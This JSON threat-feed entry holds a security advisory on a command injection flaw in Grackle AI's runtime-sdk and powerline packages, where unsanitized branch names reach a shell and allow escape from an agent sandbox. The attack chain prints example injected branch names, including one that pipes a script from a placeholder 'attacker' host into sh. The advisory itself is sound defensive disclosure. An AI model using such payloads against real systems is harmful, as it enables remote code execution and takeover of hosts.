{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","feed_url":"https://feed.craftedsignal.io/products/@grackle-ai/powerline--0.132.1/feed.json","home_page_url":"https://feed.craftedsignal.io/","items":[{"_cs_actors":[],"_cs_cpes":[],"_cs_cves":[],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["@grackle-ai/runtime-sdk (\u003c= 0.132.1)","@grackle-ai/powerline (\u003c= 0.132.1)"],"_cs_severities":["high"],"_cs_tags":["command-injection","rce","supply-chain","nodejs","git"],"_cs_type":"advisory","_cs_vendors":["Grackle AI"],"content_html":"\u003cp\u003eA critical command injection vulnerability (GHSA-vv65-f55v-xm6g) affects Grackle AI's \u003ccode\u003e@grackle-ai/runtime-sdk\u003c/code\u003e and \u003ccode\u003e@grackle-ai/powerline\u003c/code\u003e components, specifically versions \u003ccode\u003e0.132.1\u003c/code\u003e and earlier. The flaw stems from the \u003ccode\u003eNODE_GIT_EXECUTOR\u003c/code\u003e utilizing \u003ccode\u003eshell:true\u003c/code\u003e when executing \u003ccode\u003egit worktree\u003c/code\u003e operations, combined with the unsanitized \u003ccode\u003ebranch\u003c/code\u003e name flowing from the \u003ccode\u003eSpawnSession\u003c/code\u003e gRPC request into the command arguments. This allows a malicious or compromised agent, or any client able to initiate a task via the \u003ccode\u003eSpawnSession\u003c/code\u003e RPC, to inject arbitrary shell commands. These commands are then executed with the privileges of the PowerLine user on provisioned environments, including SSH hosts, Docker containers, and Codespaces, effectively enabling remote code execution and escaping the agent's sandbox. A secondary, less impactful, argument injection vulnerability also exists due to a missing \u003ccode\u003e--\u003c/code\u003e separator.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains the ability to make calls to the PowerLine \u003ccode\u003eSpawnSession\u003c/code\u003e gRPC RPC. This could be through a compromised agent within the victim's environment, a malicious internal actor, or by exploiting another external vulnerability that exposes this RPC.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a Git branch name containing shell metacharacters and arbitrary commands, for example, \u003ccode\u003ex;curl http://attacker/x.sh|sh;#\u003c/code\u003e or \u003ccode\u003e$(touch /tmp/pwned)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sends a \u003ccode\u003eSpawnSession\u003c/code\u003e gRPC request to the PowerLine server, providing the crafted malicious branch name as a parameter within the request payload.\u003c/li\u003e\n\u003cli\u003eThe vulnerable \u003ccode\u003eensureWorktree\u003c/code\u003e function, located in \u003ccode\u003epackages/runtime-sdk/src/worktree.ts\u003c/code\u003e, prepares to execute a \u003ccode\u003egit worktree add\u003c/code\u003e command using the \u003ccode\u003eNODE_GIT_EXECUTOR.exec\u003c/code\u003e function.\u003c/li\u003e\n\u003cli\u003eDue to the \u003ccode\u003eshell:true\u003c/code\u003e option being implicitly passed to \u003ccode\u003eNODE_GIT_EXECUTOR.exec\u003c/code\u003e, Node.js concatenates the \u003ccode\u003egit\u003c/code\u003e command and its arguments (including the malicious branch name) into a single string.\u003c/li\u003e\n\u003cli\u003eThis concatenated string is then passed to \u003ccode\u003esh -c\u003c/code\u003e, which interprets the shell metacharacters and executes the attacker's injected commands embedded within the branch name.\u003c/li\u003e\n\u003cli\u003eThe injected commands (e.g., \u003ccode\u003ecurl\u003c/code\u003e to download and execute a malicious script, \u003ccode\u003etouch\u003c/code\u003e for arbitrary file creation) are executed by the \u003ccode\u003esh -c\u003c/code\u003e process with the privileges of the PowerLine user.\u003c/li\u003e\n\u003cli\u003eThe attacker successfully achieves remote code execution, gaining control over the targeted provisioned environment (SSH host, Docker container, or Codespace) as the PowerLine user.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability leads to remote code execution (RCE) with the privileges of the PowerLine user on any provisioned environment where the Grackle AI runtime is deployed. This allows attackers to escape the agent sandbox, gain full control over the affected host (be it an SSH host, Docker container, or Codespace), and potentially access sensitive data, escalate privileges, or establish persistence within the victim's infrastructure. While no specific victim count or targeted sectors are mentioned, any organization utilizing Grackle AI's runtime-sdk in their development or deployment pipelines is at risk.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ePrioritize patching the affected Grackle AI components to address GHSA-vv65-f55v-xm6g by updating \u003ccode\u003e@grackle-ai/runtime-sdk\u003c/code\u003e and \u003ccode\u003e@grackle-ai/powerline\u003c/code\u003e beyond version \u003ccode\u003e0.132.1\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026quot;Detect GHSA-vv65-f55v-xm6g Grackle AI RCE via Git Worktree Injection\u0026quot; to your SIEM and tune for your environment to identify potential exploitation attempts.\u003c/li\u003e\n\u003cli\u003eReview the remediation steps for GHSA-vv65-f55v-xm6g which include removing \u003ccode\u003eshell:true\u003c/code\u003e from \u003ccode\u003eNODE_GIT_EXECUTOR\u003c/code\u003e and adding \u003ccode\u003e--\u003c/code\u003e separators for \u003ccode\u003egit worktree add\u003c/code\u003e invocations.\u003c/li\u003e\n\u003cli\u003eImplement defense-in-depth measures by validating the \u003ccode\u003ebranch\u003c/code\u003e parameter at the gRPC boundary in \u003ccode\u003egrpc-server.ts\u003c/code\u003e to reject names containing shell metacharacters or invalid Git ref rules.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-07-03T11:45:08Z","date_published":"2026-07-03T11:45:08Z","id":"https://feed.craftedsignal.io/briefs/2026-07-grackle-ai-rce/","summary":"A command injection vulnerability (GHSA-vv65-f55v-xm6g) exists in Grackle AI's `@grackle-ai/runtime-sdk` and `@grackle-ai/powerline` components, allowing an attacker to achieve remote code execution as the PowerLine user on provisioned environments by injecting commands into unsanitized Git task branch names via the `SpawnSession` RPC.","title":"Grackle AI Runtime-SDK RCE via Git Worktree Command Injection","url":"https://feed.craftedsignal.io/briefs/2026-07-grackle-ai-rce/"}],"language":"en","title":"CraftedSignal Threat Feed - @Grackle-Ai/Powerline (\u003c= 0.132.1)","version":"https://jsonfeed.org/version/1.1"}